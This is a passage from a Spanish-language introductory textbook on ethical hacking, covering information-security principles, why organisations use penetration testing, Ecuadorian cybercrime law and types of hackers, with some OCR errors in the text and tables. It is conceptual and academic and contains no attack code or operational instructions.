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PROLOGO

Vivimos en una era donde la informacién es el recurso mas valioso, y su proteccion se ha
convertido en una prioridad global. Con el auge de las tecnologias digitales, también ha crecido
la sofisticacion de las amenazas cibernéticas. En este contexto, el Hacking Etico emerge no solo
como una practica necesaria, sino como una disciplina fundamental para la preservacion de la

seguridad en el ciberespacio.

Este libro, "Hacking Etico: Teoria & Préacticas", ha sido concebido con el propésito de servir
como una guia integral para todos aquellos interesados en adentrarse en el mundo de la
ciberseguridad desde una perspectiva ética. A lo largo de sus paginas, se exploran tanto los
principios tedricos que sustentan la practica del hacking ético, como las técnicas y herramientas

mas avanzadas utilizadas en la actualidad.

El hacking ético no es simplemente un conjunto de técnicas para detectar y explotar
vulnerabilidades; es, ante todo, una filosofia que aboga por la proteccion y defensa de los
sistemas informaticos frente a actores maliciosos. A traves de este libro, el lector aprendera a
pensar como un atacante para poder prever y prevenir posibles amenazas, siempre bajo un

estricto codigo de ética que distingue al profesional responsable.

El enfoque practico de esta obra permite que el lector no solo comprenda los conceptos clave
de la ciberseguridad, sino que también adquiera habilidades reales para aplicarlos en escenarios
concretos. Se incluyen estudios de casos, ejemplos practicos y ejercicios que reflejan
situaciones reales, proporcionando al lector una experiencia de aprendizaje profunda y

dindmica.

Es importante destacar que el contenido de este libro esta dirigido tanto a profesionales de la
ciberseguridad como a entusiastas que buscan iniciarse en este campo. No obstante, el
compromiso con la ética y el respeto por las leyes es un principio inquebrantable que debe guiar
a todo aquel que decida emprender el camino del hacking ético.

En resumen, "Hacking Etico: Teoria & Practicas" es una obra que aspira a formar no solo
expertos técnicos, sino también defensores de la ciberseguridad que contribuyan a un
ciberespacio méas seguro y confiable para todos. Espero que encuentres en estas paginas el
conocimiento y la inspiracion necesarios para desarrollar una carrera exitosa y, o mas

importante, ética, en el campo del hacking.
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CAPITULO 1 HACKING ETICO

INTRODUCCION

La seguridad de la informacion se ha convertido en un pilar fundamental para la proteccion de
datos sensibles en el entorno digital actual, a través, de la implementacion de principios sélidos
que garantizan la confidencialidad, integridad y disponibilidad de la informacién, las
organizaciones buscan prevenir accesos no autorizados asegurar la correcta gestion de sus
recursos informaticos. En este contexto, el hacking ético emerge como una disciplina crucial,
utilizando técnicas y metodologias similares a las de los atacantes malintencionados, pero con
el proposito legitimo de identificar y corregir vulnerabilidades antes de que puedan ser

explotadas.

El hacking ético no solo ayuda a mitigar riesgos y prevenir brechas de seguridad, sino que
también refuerza la confianza de los clientes y socios comerciales al demostrar el compromiso
de la organizacion con la proteccion de sus datos. La importancia de esta préctica se vuelve
evidente al considerar las consecuencias potenciales de los ciberataques, que pueden resultar
en pérdidas financieras significativas y dafios a la reputacién, ademas, la relacion entre la ética
y los ciberdelitos es vital para distinguir las acciones legitimas de las delictivas en el &mbito
digital. Los profesionales de la ciberseguridad deben adherirse a principios €éticos rigurosos,
actuando con integridad y responsabilidad para evitar cualquier conducta que pueda causar dafio
o violar las leyes vigentes, Sin embargo, es importante reconocer que el hacking ético tiene
tanto ventajas como limitaciones, si bien puede mejorar significativamente la seguridad de la
informacion no garantiza la deteccion de todas las vulnerabilidades y puede crear una

dependencia excesiva en los testers.

Finalmente, es esencial comprender las diferentes tipologias de hackers, que varian segun sus
intenciones y actividades, desde, los hackers éticos (“white hats") que trabajan para fortalecer
la seguridad, pasando por los ciberdelincuentes (“black hats™") que buscan explotar debilidades
para su beneficio personal, hasta los "grey hats" que operan en una zona gris de legalidad. Esta
clasificacion permite abordar de manera mas eficaz las amenazas cibernéticas, implementando

estrategias de defensa adecuadas para cada tipo de atacante.
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1.1. Principios de la seguridad de la informacion

El analisis de riesgos en seguridad de la informacion busca identificar y proteger los activos de
informacion de una organizacion, los cuales son esenciales para su funcionamiento, la
proteccion de la informacion debe garantizar su integridad, confidencialidad y disponibilidad.
La integridad asegura que los datos no se alteren de manera inapropiada, la confidencialidad
garantiza que solo personas autorizadas accedan a la informacion, y la disponibilidad asegura
que los datos estén accesibles cuando se necesiten, estos principios son fundamentales para

mantener la seguridad y la continuidad del negocio. (Tajena Macias , 2018)

La identificacién de amenazas es un paso crucial en el analisis de riesgos, ya que permite a las
organizaciones entender contra qué estan protegiendo su informacion. Estas amenazas pueden
ser tanto internas, como accesos no autorizados por empleados, como externas, como ataques
cibernéticos. Una vez identificadas, las organizaciones deben evaluar la probabilidad y el
impacto de cada amenaza para desarrollar estrategias efectivas de mitigacion. Proteger la
informacion no solo involucra medidas tecnoldgicas, sino también politicas y procedimientos

que aseguren una respuesta adecuada ante incidentes de seguridad. (Tajena Macias , 2018)

La confidencialidad de la informacion se enfoca en que los datos sean accesibles solo para
personas autorizadas, esto requiere la implementacién de controles de acceso y mecanismos de
autenticacion robustos. La violacion de la confidencialidad puede resultar en la divulgacion no
autorizada de informacién sensible, afectando la reputacion y la confianza de los clientes en la
organizacion, por ello, es crucial asegurar que solo el personal adecuado tenga acceso a datos

criticos. (Tajena Macias , 2018)

La integridad de la informacién implica mantener la exactitud y la completitud de los datos a
lo largo de su ciclo de vida, para garantizar la integridad, las organizaciones deben implementar
controles que prevengan y detecten modificaciones no autorizadas, como registros de auditoria
y verificaciones regulares. La pérdida de integridad puede llevar a decisiones empresariales
basadas en informacion incorrecta, lo que puede tener graves repercusiones para la operatividad

y estrategia de la organizacion. (Tajena Macias , 2018)

La disponibilidad de la informacion asegura que los datos estén accesibles y utilizables cuando
se necesiten, lo cual es crucial para la continuidad del negocio. Las organizaciones deben
implementar medidas de proteccion contra interrupciones, como planes de contingencia y

copias de seguridad. La falta de disponibilidad puede paralizar las operaciones y causar perdidas

7|Pagina



financieras significativas, afectando la capacidad de la organizacién para cumplir con sus

objetivos y responsabilidades. (Tajena Macias , 2018)

El articulo presenta un modelo disefiado para mejorar la gestion de la seguridad de la
informacidn en la universidad estatal peninsula de santa elena, se fundamenta en estandares y
regulaciones internacionales y nacionales, integrando estrategias de automatizacion y sintesis
para simplificar la gestion y aumentar la efectividad de los controles de seguridad. (Di Luca,
2019)

Resumen del modelo propuesto:

o Automatizacion: Se enfoca en la automatizacion de todos los controles de seguridad

posibles, mejorando la eficiencia operativa.

o Integracion: Utiliza un sistema centralizado para una gestion y monitorizacion cohesiva

de los controles.

o Sintesis: Agrupa y sintetiza controles automatizables y no automatizables para manejar

un nimero reducido de controles,

o Medicion objetiva: Implementa indicadores objetivos para evaluar la efectividad de los

controles.

o Mejora continua: Promueve un ciclo dinamico de revisién y mejora continua de los

controles.
o Generalidad: EI modelo es aplicable a una amplia variedad de organizaciones.

El estudio incluy6 encuestas a directivos y especialistas, que confirmaron el impacto positivo
de la automatizacion y la integracion en la gestion de la seguridad de la informacion. EI modelo
propuesto se apoya en principios como la automatizacion y la mejora continua, con guias
especificas para su implementacion y evaluacion, contribuyendo a una gestion més efectiva y

eficiente de la seguridad de la informacion en las redes de computadoras. (Di Luca, 2019)

1.2. Fundamentos del hacking ético

El hacking ético constituye una rama de la seguridad de la informacién dedicada a identificar y

subsanar vulnerabilidades en sistemas y redes. Los especialistas en hacking ético, cominmente
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referidos como hackers de sombrero blanco, emplean las mismas técnicas y herramientas que
los hackers maliciosos, pero con el objetivo de fortalecer la seguridad y salvaguardar la
informacién. Los fundamentos del hacking ético comprenden un conocimiento exhaustivo de
sistemas operativos, redes y aplicaciones, también, es esencial una comprension detallada de
los métodos y herramientas empleados por los hackers para detectar y neutralizar posibles
amenazas. La ética y la legalidad juegan un papel fundamental en esta préctica, ya que los
hackers éticos deben obtener autorizacion antes de efectuar cualquier prueba de penetracion.
(Cano, 2021)

La certificacion en hacking ético, como la CEH (certified ethical hacker), es una credencial
ampliamente reconocida que avala el conocimiento y las habilidades de un profesional en esta
area. Estas certificaciones son fundamentales para demostrar la competencia y el compromiso
con las précticas éticas y legales en el ambito de la seguridad informatica, segin (Guevara
Jurado, 2022), un hacker es una persona que esta en constante busqueda de informacién y
aprendizaje, abordando cada aspecto como un desafio, y que defiende la neutralidad y libertad
en internet, sefiala que para mantenerse en contra de las practicas maliciosas de un
ciberdelincuente, es esencial poseer una solida ética y moral. Un hacker ético es un profesional
de la seguridad de la informacion que emplea sus conocimientos de hacking con el proposito
de proteger sistemas y redes. Estos individuos utilizan sus habilidades para fines defensivos,
define a los crackers como individuos que actlian con intenciones maliciosas y destructivas, a

diferencia de los hackers éticos.

El hacking €tico, o hacking de sombrero blanco, es una practica que implica la utilizacion de
técnicas de hacking con el fin de descubrir y corregir vulnerabilidades en los sistemas antes de
que sean explotadas por actores maliciosose. Este enfoque es crucial para la seguridad
cibernética, ya que permite a las organizaciones reforzar sus sistemas y proteger sus datos de
posibles amenazas. Los hackers éticos actian dentro de un marco legal y con la debida
autorizacion de las organizaciones a las que evaluan, lo cual distingue su labor de la de los

hackers con intenciones perjudiciales.

Ademas, el hacking ético se fundamenta en una serie de principios y técnicas disefiados para
replicar los métodos de los hackers maliciosos, pero con el objetivo de mejorar la seguridad.
Estos principios incluyen la evaluacion de vulnerabilidades, el anélisis de redes y sistemas, y la
realizacion de pruebas de penetracion. Los hackers éticos emplean herramientas y metodologias

avanzadas para detectar debilidades en los sistemas y ofrecer recomendaciones para su
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correccion, contribuyendo asi a una defensa mas so6lida contra potenciales ataques. El rol del
hacker ético es fundamental en la estrategia de seguridad de cualquier organizacién, ya que su
trabajo ayuda a prevenir ataques antes de que se materialicen y asegura que los sistemas sean
lo mas seguros posible. La capacidad de simular ataques y evaluar la seguridad en un entorno
controlado permite a las organizaciones identificar fallos y vulnerabilidades que podrian ser

explotadas por ciberdelincuentes.

Segun se ha descrito en estudios recientes, la ciberseguridad implica la organizaciéon y el uso
de recursos, procesos y estructuras disefiados para proteger el ciberespacio y los sistemas
habilitados en ¢l de eventos que desalinean los derechos de propiedad. Expertos indican que el
hacking ético puede mejorar la seguridad y el correcto funcionamiento de los sistemas
informdticos, empresas también apoyan esta practica ofreciendo recompensas por la
identificacion y reporte de fallos de seguridad. Las pruebas de penetracion y técnicas similares
son bien vistas, siempre que se realicen con fines de mejorar la seguridad, cuenten con el
consentimiento del propietario del sistema, utilicen procedimientos acordados y habiles, y los

resultados se manejen segun lo acordado. (Navarro Dolmestch, 2023)

Maurushat (2019) sugiere que el hacking ético debe definirse por la intencién o motivacion del
actor. Ella describe el hacking ético como el uso no violento de la tecnologia para apoyar una
causa, politica u otro objetivo, que a menudo es ambiguo en términos legales y morales. Este
concepto abarca actividades como la desobediencia civil en linea, hacktivismo, pruebas de
penetracion, identificacion de vulnerabilidades, contraataques y activismo de seguridad. Este
enfoque amplio permite nuevas perspectivas en el andlisis penal, donde la motivacion del

hacking puede justificar o exculpar ciertas acciones. (Navarro Dolmestch, 2023)

Baloch (2015) y harper y colaboradores (2018) mencionan que una prueba de penetracion
permite acceder a datos confidenciales evadiendo las protecciones de un sistema, mediante
emulaciones de ataques desde la perspectiva de un atacante para realizar ataques controlados.
Hay modelos y guias éticas para dirigir el hackeo en la identificacion y correccion de
vulnerabilidades, también, se disponen manuales y textos especializados, certificaciones para
hackers éticos, y en algunos paises, ser hacker es una profesion. En chile, el gobierno fomenta
el reporte de vulnerabilidades en sistemas estatales, facilitando formularios electronicos y

publicando reportes semanales de vulnerabilidades. (Navarro Dolmestch, 2023)
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1.3. Importancia del hacking ético para las organizaciones

La funcién principal del hacking ético es evaluar los niveles de seguridad vigentes en el
momento del andlisis, identificando vulnerabilidades y corrigiéndolas antes de que personas
malintencionadas las descubran y las utilicen en detrimento de la organizacion, la seguridad es
crucial y requiere la implementacion de medidas preventivas. Hoy en dia, el hacking ético es
una herramienta clave para reducir el riesgo de ataques, mediante la supervision y revision
continua para cerrar las brechas de seguridad que podrian comprometer el servicio, es esencial
investigar constantemente las vulnerabilidades en los sistemas para tomar medidas oportunas y

prevenir su explotacion por delincuentes. (Burgos Rivera, 2016)

Aunque es improbable erradicar por completo la generacion constante de software malicioso,
es fundamental implementar procedimientos para realizar pruebas de vulnerabilidad de manera
periddica, esto permite corregir a tiempo las fallas de seguridad identificadas y prevenir el robo
de informacion confidencial. En la actualidad, los ataques en linea y electrénicos no solo son
mas frecuentes, sino también mas sofisticados, esto obliga a mantenerse en constante
actualizacion en temas de seguridad y a probar continuamente la efectividad de los controles,
revisando y corrigiendo (Burgos Rivera, 2016). El sector financiero es el objetivo preferido de
los delincuentes, por lo que la seguridad no debe descuidarse en ningin momento, cualquier
error puede resultar en la pérdida de reputacion de la entidad. Segiin Burgos Rivera (2016), "El
sector financiero es el objetivo favorito de los delincuentes, por lo que no se debe descuidar la
seguridad en ningin momento, cualquier error se puede cobrar con la pérdida de reputacion de

la entidad" (pag. 6).

La practica del hacking ético se ha vuelto fundamental en el contexto actual debido a la
creciente dependencia de las organizaciones en las tecnologias de la informacion, a diferencia
del hacking malicioso, el hacking ético se enfoca en identificar y corregir vulnerabilidades en
los sistemas antes de que sean explotadas por actores malintencionados. "Las empresas que
invierten en servicios de hacking ético no solo protegen sus activos digitales, sino que también
fortalecen su reputacion y la confianza de sus clientes" (Placeres Salinas, Torres Mansur, &
Barrera Espinosa, 2018, pag. 725). El hacking ético es una herramienta crucial para el
cumplimiento de normativas y estandares de seguridad. Muchas industrias, especialmente
aquellas que manejan informacion sensible como el sector financiero o de la salud, deben

cumplir con estrictas regulaciones de seguridad, al implementar programas de hacking ético,
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estas organizaciones pueden asegurarse de estar en conformidad con dichas regulaciones y

evitar sanciones.

El hacking ético también juega un papel importante en la capacitacion y concientizacion del
personal sobre los riesgos de seguridad. Segin Placeres-Salinas, Torres-Mansur y Barrera-
Espinosa (2018), "mediante simulaciones y pruebas de penetracion, los empleados pueden
aprender sobre las amenazas mas comunes y como prevenirlas". Esto no solo mejora la
seguridad general de la organizacion, sino que también fomenta una cultura de seguridad entre
los empleados. La implementacion de practicas de hacking ético puede proporcionar a las
organizaciones una ventaja competitiva, en un mercado donde la seguridad de la informacion
es un factor decisivo para muchos clientes, demostrar un compromiso proactivo con la

seguridad puede diferenciar a una empresa de sus competidores.

Para proteger la informacion de gobiernos, empresas y otras organizaciones, y para permitirles
operar y alcanzar sus metas, han surgido los 'hackers éticos', estos profesionales identifican
vulnerabilidades en los sistemas y luego informan a las organizaciones para que estas puedan
corregirlas y evitar futuros ataques cibernéticos. El hacking ético es crucial para las empresas,
ya que permite evaluar la configuracion de seguridad, identificar cualquier debilidad en los
sistemas y prevenir que estas sean explotadas por delincuentes cibernéticos, esto ayuda a evitar
pérdidas financieras significativas, como se ha visto en muchos casos de ciberataques. ( Bonilla

Vilchez, 2023)

El objetivo de este articulo es resaltar la importancia del hacking ético en las empresas, dirigido
tanto a la comunidad académica como al publico en general, indica que los 'hackers éticos'
desempefian un papel esencial en la proteccion de datos de gobiernos y organizaciones,
ayudando a identificar y corregir vulnerabilidades para prevenir futuros ciberataques, segun (
Bonilla Vilchez, 2023) el hacking ético es fundamental para evaluar y mejorar la configuracion
de seguridad en las empresas, identificando debilidades que podrian ser explotadas por
delincuentes cibernéticos y previniendo asi pérdidas financieras importantes, destaca la
relevancia del hacking ético en las empresas, subrayando su importancia tanto para la

comunidad académica como para el publico en general.

1.4. La éticay los ciberdelitos

El articulo presentado realiza un andlisis reflexivo sobre el entorno y aspectos relevantes

relacionados con los ciberdelitos, con el objetivo de aportar al conocimiento de la sociedad
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ecuatoriana, especialmente adolescentes y sus padres o tutores, para prevenir que sean victimas
de estos delitos, se propone analizar las causas y efectos de la sobreexposicion de los
adolescentes ecuatorianos a los ciberdelitos y la conceptualizacion de los delitos informaticos.
Los estudios previos han omitido una comprension fundamental de este problema, que afecta
especialmente a la juventud, al explorar los ciberdelitos en Ecuador, se segmenta la
investigacion de estos delitos y se enfoca en la vulnerabilidad de los adolescentes. Este trabajo
se titula "sobreexposicion de adolescentes a ciberdelitos en el Ecuador", y busca, orientar,
dirigir, tratar delincuencialmente y prevenir estos delitos mediante el conocimiento y analisis.
Una causa esencial de la victimizacion de adolescentes es la falta de control y supervision por
parte de padres o tutores en el uso de tecnologias, se debe considerar que el desconocimiento
de la tecnologia no exime a los adultos de su responsabilidad, sino que requiere mayor esfuerzo

para actualizarse. (Quezada Sarmiento, y otros, 2022)

Este trabajo se basa en una investigacion critica, fundamentada en teorias éticas, tedricas y
tecnoldgicas, cuyo objetivo es analizar las coincidencias y diferencias encontradas en estudios
previos, partiendo de las caracteristicas estructurales de la ética informatica, se incluyen
hallazgos actuales que abordan la victimizacion y vulnerabilidad de los adolescentes, asi como
una resefia de los ciberdelitos en Ecuador, también se revisan problemas éticos relacionados
con el uso de las tecnologias de informacion y comunicacion (TIC). La clasificacion de
ciberdelitos identifica la mayoria de los comportamientos delictivos sin una amplitud suficiente,
no obstante, Narvaez (2015) en su investigacion proporciona un analisis detallado de una amplia
variedad de eventos de ciberdelincuencia, esta clasificacion ha sido util para que los estados
incluyan estos delitos en su legislacion penal, sirve como referencia para determinar patrones
de comportamiento y alertar a quienes luchas contra el cibercrimen, permitiendo un lenguaje

comun de referencia. (Quezada Sarmiento, y otros, 2022)

Existen numerosas redes sociales de acceso libre en internet, donde cualquier usuario puede
crear una cuenta, configurar un perfil con informacion real o ficticia y comunicarse con amigos,
familiares o desconocidos, estas redes sociales, como facebook, se han convertido en
herramientas favoritas para la interaccion y el intercambio de experiencias. Su principal ventaja
es la capacidad de comunicacion, interrelacion y publicacion de contenido gratuito, incluyendo
fotos, videos, estados, musica, intereses y hobbies, sin embargo, la libertad de publicar

cualquier tipo de contenido puede generar conflictos entre la libertad de expresion y los
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derechos de honor y privacidad garantizados en la constituciéon ecuatoriana. (Quezada

Sarmiento, y otros, 2022)

A continuacion, podemos ver en la tabla 1 los delitos segun el coip y en la figura 1 los delitos

informaticos sancionados en Ecuador.

Tabla 1.1 Tipificacion de los delitos informaticos y sus delitos conexos coip-Ecuador

Articulo del COIP Enunciado del delito

Art91 Trata de personas

Art 100 Explotacion sexual de personas

Art 103 Pornografia con utilizacion de nifias, nifios o adolescentes
Art. 104 Comercializacion de pornografia con utilizacion de nifias,

ninos o adolescentes

Art 154 Intimidacion
Art. 166 Acoso sexual
Art 168 Distribucion de material pornografico a nifias, nifios y

adolescentes
Art. 170 Abuso sexual

Art 172 Utilizacion de personas para exhibicion publica con fines

de naturaleza sexual

Art. 173 Contacto con finalidad sexual con menores de dieciocho

afios por medios electronicos

Art. 174 Oferta de servicios sexuales con menores de dieciocho afos

por medios electronicos

Art. 178 Violacion a la intimidad
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Art. 186 Estafa

Art. 190 Apropiacion fraudulenta por medios electronicos

Art.212 Suplantacion de identidad

Art. 229 Revelacidn ilegal de base de datos

Art. 230 Interceptacion ilegal de datos

Art. 231 Transferencia electronica de activo patrimonial

Art. 232 Ataque a la integridad de sistemas informaticos

Art. 233 Delitos contra la informacidon publica reservada legalmente
Art. 234 Acceso no consentido a un sistema informatico, telematico

o de telecomunicaciones

Art. 323 Captacion ilegal de dinero

Figura 1.1 Delitos informaticos sancionados en el Ecuador con pena privativa de libertad

Articulo COIP Enunciado del Delito Anos de sanciton
Art. 190 Apropiacion frandulenta por medios electrdnicos De14a 3 afos.
Reprogramacion o modificacion de informacion de equipos _
Art. 101 p‘g . quip De1ajanos
terminales méwiles.
Art. 192 lntell cambio, Icomerc:z!h':!acmn o compra de informacién de De 123 afios.
equipos terminales moviles
Art. 193 Reemplazo de identificacion de terminales méviles. De1a3afios.
Art. 194 Comercializacion ilicita de terminales méviles De1a3afos.
Art 211 Supresion, alteracidn o suposicion de la identidad y estado
) civil. -
La persona que ilegalmente impida altere, afiada o suprima la _
. p. L. q 5 P P De1a3anos.
inseripeion de los
datos de identidad suyos o de otra persona en programas
informéticos
Art. 229 Revelacion ilegal de base de datos De1a 3 afios.
Art. 231 Transferencia electronica de activo patrimonial De3a s anos.
Art. 232 Ataque a la integridad de sistemas informéticos Dega 5 afos.
Art. 233 Delitos contra la informacién piblica reservada legalmente De s a7 aios.
Art. 234 Acceso no cmjnsenltldn aun sistema informético, telemdtico o De 3 a 5 afios.
de telecomunicaciones.
Art. 208 e .
Inciso & Defraudacion tributaria:
Alteracitm de libros o registros informiticos de contabilidad, De 123 afios.
anotaciones, asientos u operaciones relativas a la actividad
econdmica, asi como el registro contable de cuentas, nombres,
cantidades o datos falsos.

Nota. Adaptada de Sobreexposicion de adolescentes a Ciberdelitos en el Ecuador (p.6), por Sarmiento et al., 2022, Revista

Ibérica de Sistemas e Tecnologias de Informacion.
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La ciberseguridad es definida por el grupo de trabajo Join Task Force como una disciplina
informatica que integra tecnologia, personas, informacion y procesos para garantizar
operaciones seguras frente a adversarios. Esta disciplina abarca la creacion, operacion, analisis
y prueba de sistemas informaticos seguros, lo cual es esencial en el contexto actual donde las
amenazas cibernéticas son cada vez mas sofisticadas y frecuentes, ademas, la ciberseguridad es
un estudio interdisciplinario que incluye aspectos de derecho, politica, factores humanos, ética
y gestion de riesgos, esto significa que no solo se trata de cuestiones técnicas, sino también de
comprender las implicaciones legales y éticas de las acciones en el ciberespacio, asi como la
manera en que las politicas de seguridad pueden influir en la proteccion de la informacién y la
privacidad de los usuarios. La inclusion de factores humanos destaca la importancia de la
capacitacion y concienciacion de las personas para prevenir incidentes de seguridad. (Carrera

Calderodn, Quilligana Barraquel, Aguilar Martinez, & Fiallos Bonilla, 2019)

La ciberseguridad proporciona una vision especifica sobre temas relacionados con la seguridad
de la informacion, destacando su importancia en la proteccion de datos sensibles tanto para
individuos como para organizaciones, es crucial entender que existe una diferencia significativa
entre la ingenieria de software y la ciberseguridad, mientras que la ingenieria de software se
centra en garantizar que el software funcione de manera eficiente y adecuada, la ciberseguridad
se dedica a asegurar que el software sea seguro y resistente frente a posibles incidentes de riesgo
informatico. Esto implica no solo implementar medidas técnicas para proteger el software, sino
también desarrollar estrategias para anticipar y mitigar amenazas, ademas, la ciberseguridad
aborda la necesidad de un enfoque proactivo en la gestion de riesgos, asegurando que las
vulnerabilidades sean identificadas y corregidas antes de que puedan ser explotadas. Este
campo también abarca la evaluacion continua de las politicas de seguridad y la implementacion
de mejoras para mantenerse al dia con la evolucion de las amenazas cibernéticas. (Carrera

Calderon, Quilligana Barraquel, Aguilar Martinez, & Fiallos Bonilla, 2019)

Los profesionales de ciberseguridad suelen ser expertos en informatica, software y seguridad
de redes, y sus actividades se basan en el "hacking ético". Estos profesionales no solo se
encargan de proteger sistemas y redes, sino que también deben anticiparse a posibles amenazas
mediante la identificacion y correccion de vulnerabilidades antes de que puedan ser explotadas
por ciberdelincuentes. El hacking ético, también conocido como "pentesting", implica realizar
pruebas de penetracion controladas para evaluar la seguridad de los sistemas y descubrir

posibles fallos de seguridad. Ademas, estos expertos deben mantenerse actualizados sobre las
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ultimas tendencias y técnicas en ciberseguridad, ya que las amenazas estdn en constante
evolucion. Su trabajo es fundamental para asegurar que las organizaciones puedan operar de
manera segura y proteger la integridad y confidencialidad de su informacion, también juegan
un papel crucial en la educacion y concienciacion de otros empleados sobre practicas seguras
en el uso de la tecnologia. (Carrera Calderdn, Quilligana Barraquel, Aguilar Martinez, & Fiallos

Bonilla, 2019)

De acuerdo con Linux Torvalds, creador del sistema operativo linux, los hackers son expertos
en informatica que no utilizan sus computadoras solo para obtener ingresos econdémicos, sino
también por razones sociales o de entretenimiento, esta definicién destaca una dimension ética
en la actividad de los hackers, quienes a menudo buscan mejorar sistemas y redes mediante su
exploracion y andlisis, en muchos casos, estos individuos estdn motivados por el desafio
intelectual y el deseo de contribuir al conocimiento colectivo mas que por el beneficio
financiero. El hacking, en su forma ética, se alinea con valores de transparencia y cooperacion,
promoviendo la seguridad y la resiliencia de los sistemas informaticos al identificar y corregir
vulnerabilidades antes de que puedan ser explotadas por actores maliciosos, este enfoque puede
resultar en una mayor confianza en la tecnologia y en la proteccion de datos personales y
corporativos. (Carrera Calderon, Quilligana Barraquel, Aguilar Martinez, & Fiallos Bonilla,

2019)

Beiling (1944) define el delito como una accion tipica, antijuridica y culpable que puede ser
sancionada penalmente y que cumple con las condiciones de punibilidad, esta definicion
subraya la importancia de la legalidad y la responsabilidad en la comision de actos delictivos,
un delito, segun esta perspectiva, no solo infringe la ley, sino que también debe ser moralmente
imputable y causar dafio politico o social. En el contexto de los ciberdelitos, esto implica que
las acciones realizadas en el ciberespacio deben ser evaluadas no solo por su impacto técnico,
sino también por sus implicaciones legales y éticas, la capacidad de imputar responsabilidad a
los actores cibernéticos es crucial para asegurar que la justicia se aplique adecuadamente y que
se mantenga la integridad del sistema legal, ademas, esta definicion resalta la necesidad de un
marco juridico claro y especifico que pueda abordar las complejidades de los delitos
informdticos en un entorno cada vez mas digitalizado. (Carrera Calder6n, Quilligana Barraquel,

Aguilar Martinez, & Fiallos Bonilla, 2019)
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1.5. Ventajas y limitaciones del hacking ético

1.5.1. Ventajas

Segun reyes (2015), el hacking ético permite medir la seguridad de los sistemas empresariales
mediante tacticas similares a las empleadas por hackers malintencionados, las pruebas
realizadas por un hacker ético buscan identificar problemas y debilidades del sistema, sin
centrarse en coOmo estos afectan a la empresa directamente. Al finalizar estas pruebas, se elabora
un informe que detalla las vulnerabilidades encontradas y ofrece sugerencias para solucionarlas,
es crucial que el informe sea comprensible tanto para el personal técnico como para el de
gestion, permitiendo asi una respuesta adecuada a los riesgos identificados. Las principales
ventajas del hacking ético incluyen la identificacion temprana de debilidades, la deteccion de
configuraciones inapropiadas en aplicaciones, el reconocimiento de errores debido a la falta de
actualizaciones y la reduccion del tiempo de respuesta ante incidentes de seguridad, ademas, es
fundamental considerar los aspectos legales y de confidencialidad, asegurando que los datos
obtenidos se utilicen adecuadamente y que las empresas proporcionen informacion veraz para

obtener resultados precisos y coherentes. (Castillo Vera, 2021)

El hacking ético fomenta la confianza entre las empresas y sus clientes al mostrar el
compromiso de la empresa con la seguridad de los datos mediante auditorias y pruebas
regulares, esta practica no solo protege informacion sensible, sino que también puede ser un
diferenciador clave en un mercado competitivo donde la seguridad y la privacidad de los datos
son altamente valoradas por los clientes. En ultima instancia, el hacking ético promueve una
mayor transparencia y responsabilidad en la gestion de la seguridad de la informacion, otra
ventaja significativa es que ayuda a las empresas a cumplir con las normativas y regulaciones
de seguridad, especialmente en industrias como la financiera y la de salud, que estan sujetas a
estrictas regulaciones de seguridad de datos, mediante la realizacion de hacking ético, las
empresas pueden identificar y corregir vulnerabilidades antes de que sean explotadas,
asegurando el cumplimiento de las leyes y normativas pertinentes, esto no solo evita multas y

sanciones, sino que también protege la reputacion de la empresa. (Castillo Vera, 2021)

El hacking ético es una herramienta valiosa para la formacioén y desarrollo de equipos de
seguridad internos, al participar en pruebas de penetracion y ejercicios de hacking ético, los
profesionales de seguridad pueden mejorar sus habilidades y conocimientos, manteniéndose
actualizados con las ultimas tacticas y técnicas utilizadas por ciberdelincuentes, esta

experiencia practica es esencial para preparar al personal para enfrentar amenazas reales y
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desarrollar estrategias de defensa efectivas. El hacking ético ofrece una evaluacion integral de
la postura de seguridad de una empresa, mediante un analisis detallado de todas las posibles
vias de ataque, los hackers €ticos pueden proporcionar una vision completa de las debilidades
y fortalezas de los sistemas de seguridad de la empresa, esta evaluacion permite priorizar las
inversiones en seguridad y asegurar que los recursos se asignen de manera efectiva para

maximizar la proteccion contra posibles ataques. (Castillo Vera, 2021)
1.5.2. Limitaciones

El hacking ético se fundamenta en la identificacion de vulnerabilidades de seguridad en
sistemas y redes antes de que lo hagan los hackers maliciosos, sin embargo, las pruebas suelen
centrarse Unicamente en sistemas operativos, configuraciones de seguridad y errores técnicos,
lo que limita su alcance a un diagndstico técnico basico de seguridad (Callejas Espinoza, 2021).
El factor tiempo también juega un papel crucial en estas pruebas, los hackers maliciosos tienen
tiempo y paciencia para encontrar vulnerabilidades, mientras que las empresas suelen contratar
a terceros para realizar estas pruebas, lo que implica costos y la necesidad de acelerar el proceso

proporcionando informacion privilegiada.

Esto puede limitar las oportunidades de descubrir todas las vulnerabilidades, ya que las pruebas
se basan en la informacidén proporcionada, otra limitacidon significativa es que estas pruebas
generalmente se enfocan en amenazas externas, dejando de lado las internas. (Callejas
Espinoza, 2021), menciona que, si no se examina un sistema desde dentro, no se puede asegurar
completamente su seguridad solo con pruebas externas, por lo tanto, estas evaluaciones no
pueden garantizar una seguridad absoluta y pueden parecer inherentemente defectuosas, ya que

es posible que no identifiquen todas las vulnerabilidades existentes.

1.6. Tipos de hackers

En la actualidad, el término "Hackers" se asocia comlinmente con los piratas informaticos,
mientras que a los criminales se les llama "Script Kiddies", individuos que invaden ordenadores
usando programas cuyo funcionamiento desconocen, los hackers se dividen en dos categorias:
los aficionados, que pueden reconocer tres tipos de hackers, y los expertos en seguridad
informatica, que aceptan todas las implicaciones del término, también existen los hackers del
software libre, que se refieren a los intrusos informaticos conocidos como "Crackers", quienes
destruyen sistemas de seguridad. Los piratas informaticos han causado muchas pérdidas, como

136 millones de ddlares en un afio, afectando a la ONU vy otras organizaciones, estos hackers
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pueden tardar meses o incluso afios en vulnerar sistemas altamente adulterados, si las

organizaciones no denuncian estos ataques, la confianza de los clientes podria disminuir.

La seguridad informatica ha ganado popularidad debido a las condiciones cambiantes y nuevas
plataformas informaticas, la interconexion a través de redes abre nuevos horizontes y también
trae nuevas amenazas, organizaciones internacionales han desarrollado directrices sobre el uso
adecuado de habilidades técnicas para maximizar beneficios y evitar abusos, lo que podria
causar problemas graves con los bienes y servicios de las empresas. Errores simples pueden
comprometer la integridad de los datos y generar nuevas vulnerabilidades en los sistemas, esto
es especialmente importante para las empresas que trabajan en nuevas areas tecnologicas,
desarrollando sistemas interconectados, un simple error de programacion o la falta de formacion

adecuada pueden generar vulnerabilidades que afecten a mas de una organizacion.
A continuacion, se describen los siguientes tipos de hackers:

o Black hats o hackers negros: Un hacker negro muestra sus habilidades informaticas
crackeando computadoras o servidores, ingresando a areas restringidas, infectando redes o

